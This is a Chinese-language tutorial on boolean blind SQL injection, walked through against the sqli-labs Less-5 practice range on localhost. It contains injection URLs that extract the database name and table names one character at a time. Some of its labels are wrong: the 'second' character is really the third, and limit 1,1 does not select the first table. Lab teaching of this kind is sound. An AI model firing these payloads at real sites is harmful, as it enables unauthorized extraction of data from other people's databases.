SQL注入之布尔盲注
1.什么是布尔盲注?
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
返回False时:
返回True时:
2.如何进行布尔盲注?
注入流程:
3.靶场案例演示:
1.** 猜解数据库的名字**
`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>115–+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>116–+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))=115–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),2,1))=101–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),3,1))=99–+ 正常`
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2.猜解表明名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为… 解码为** referer**
总结归纳:
盲注分为三种:
1.布尔型盲注: 根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注: 根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注 :根据页面返回的对错来判断的即为报错型盲注